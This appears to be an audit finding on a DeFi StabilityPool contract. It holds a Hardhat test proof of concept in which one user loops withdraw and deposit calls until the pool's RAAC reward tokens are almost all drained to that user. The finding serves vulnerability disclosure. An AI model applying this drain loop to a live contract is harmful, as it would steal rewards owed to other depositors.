A critical vulnerability in the StabilityPool contract where users can exploit the deposit and withdrawal mechanisms to drain RAAC token rewards from the pool. By repeatedly withdrawing and depositing tokens, an attacker can claim a disproportionate amount of rewards, eventually depleting the pool's RAAC token balance to near zero.
The vulnerability exists in the reward distribution mechanism of the StabilityPool contract. The proof of concept demonstrates:
describe("RAAC Rewards", function () {
beforeEach(async function () {
const initialBalance = ethers.parseEther("50");
await rToken.connect(user1).approve(stabilityPool.target, initialBalance);
await rToken.connect(user2).approve(stabilityPool.target, ethers.MaxUint256);
});
it("should distribute rewards proportionally", async function () {
const initialBalance = ethers.parseEther("50");
await stabilityPool.connect(user1).deposit(initialBalance);
await stabilityPool.connect(user2).deposit(initialBalance);
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const raacBalance = await raacToken.balanceOf(stabilityPool.target);
expect(raacBalance).to.be.gt(0);
const user2RaacTokenBalanceBefore = await raacToken.balanceOf(user2.address);
var balanceGt1e6 = false;
var counts = 0;
while (!balanceGt1e6 && counts < 500) {
await stabilityPool.connect(user2).withdraw(ethers.parseEther("50"));
const raacBalanceAfterWithdrawal = await raacToken.balanceOf(stabilityPool.target);
if (!(raacBalanceAfterWithdrawal >= (ethers.parseUnits("1", 6)))) {
balanceGt1e6 = true;
}
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
counts += 1;
}
counts = 0;
while (!balanceGt1e6 && counts < 1000) {
await stabilityPool.connect(user2).withdraw(ethers.parseEther("50"));
const raacBalanceAfterWithdrawal = await raacToken.balanceOf(stabilityPool.target);
if (!(raacBalanceAfterWithdrawal >= (ethers.parseUnits("1", 6)))) {
balanceGt1e6 = true;
}
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
counts += 1;
}
const user2RaacTokenBalanceAfter = await raacToken.balanceOf(user2.address);
const raacBalanceAfter = await raacToken.balanceOf(stabilityPool.target);
const currentBalanceShouldBeLessThanFiftenPercent = BigInt(raacBalance) * BigInt(15) / BigInt(100);
const eightyFivePercentAddedToUser2Balance = BigInt(raacBalance) * BigInt(85) / BigInt(100);
expect(user2RaacTokenBalanceAfter >= BigInt(eightyFivePercentAddedToUser2Balance) + BigInt(user2RaacTokenBalanceBefore)).to.be.true;
expect((raacBalanceAfter <= BigInt(currentBalanceShouldBeLessThanFiftenPercent))).to.be.true;
});
});